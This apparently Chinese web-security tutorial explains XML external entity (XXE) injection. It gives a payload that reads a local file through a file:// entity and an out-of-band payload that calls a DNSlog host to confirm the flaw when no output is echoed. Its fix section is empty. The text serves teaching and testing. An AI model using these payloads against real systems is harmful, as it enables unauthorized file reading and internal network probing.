41、WEB攻防——通用漏洞&XML&XXE&无回显&DTD实体&伪协议&代码审计

文章目录


参考资料:CTF XXE

XXE原理&探针&利用

XXE用到的重点知识是XML,XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE(XML External Entity Injection,即xml外部实体注入漏洞),XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(主要)、内网端口扫描、攻击内网网站等危害。

XML和HTML的主要差异:

  • XML被设计为传输和存储数据,其焦点是数据的内容;
  • HTML被设计用来显示数据,其焦点是数据的外观;
  • HTML旨在显示信息,而XML旨在传输信息。

抓取数据包,查看AcceptX-Requested-With可以看出传输XML数据。

XXE读取文件

xml 复制代码
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]><user><username>&test;</username><password>Mikasa</password></user>

具体请看CTF XXE

XXE带外测试

xml 复制代码
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test [<!ENTITY % file SYSTEM "<DNSlogs生成的域名>"]> %file;]><user><username>&send;</username><password>Mikasa</password></user>


当读取文件前端页面无回显的时候,就需要使用带外进行测试 。例如,注释掉输出语句,前端将不会显示读取的内容。

再次读取将没有回显。没有回显,可能原因:1、代码写错了;2、文件路径、文件不存在;3、不回显。

带外测试就能证明漏洞存在。 ,带外测试也不会有回显,但是DNSlog上会有记录。

XXE实体引用

带外只能判断漏洞存不存在,读取文件时如何显示文件呢?实体引用


发送xml实体引用,目标文件的内容将会保存到file.txt中。

XXE挖掘

主要是找XML解析函数

XXE修复

相关推荐
明月_清风2 分钟前
你真的懂 JSON 吗?那些被忽略的底层边界与性能陷阱
前端·json
拍客圈4 分钟前
Discuz搜索报错
服务器·网络·安全
明月_清风10 分钟前
大规模监控数据下的 JSON 优化:从 OOM 崩溃到极致吞吐的进阶之路
前端·json
郝学胜-神的一滴1 小时前
深入理解TCP连接的优雅关闭:半关闭状态与四次挥手的艺术
linux·服务器·开发语言·网络·tcp/ip·程序人生
hoududubaba6 小时前
ORAN压缩之块浮点压缩
网络·网络协议
打瞌睡的朱尤8 小时前
Vue day10 完整购物网页(登录页,首页,搜索)
前端·javascript·vue.js
砚边数影8 小时前
运营商网管系统重构:如何解决海量投诉数据下的“查询延迟”与“写入瓶颈”?
网络·数据库·时序数据库·kingbase·kingbasees·数据库平替用金仓·金仓数据库
扶苏10029 小时前
深入理解 Vue 3 的 watchEffect
前端·javascript·vue.js
李菠萝的多样空间10 小时前
【网络】AC控制器上AP换新并上线命令笔记##2
网络·锐捷
安科士andxe10 小时前
安科士 SFP-10G-T 万兆电口光模块核心技术解析,打造中短距高速网络新标杆
网络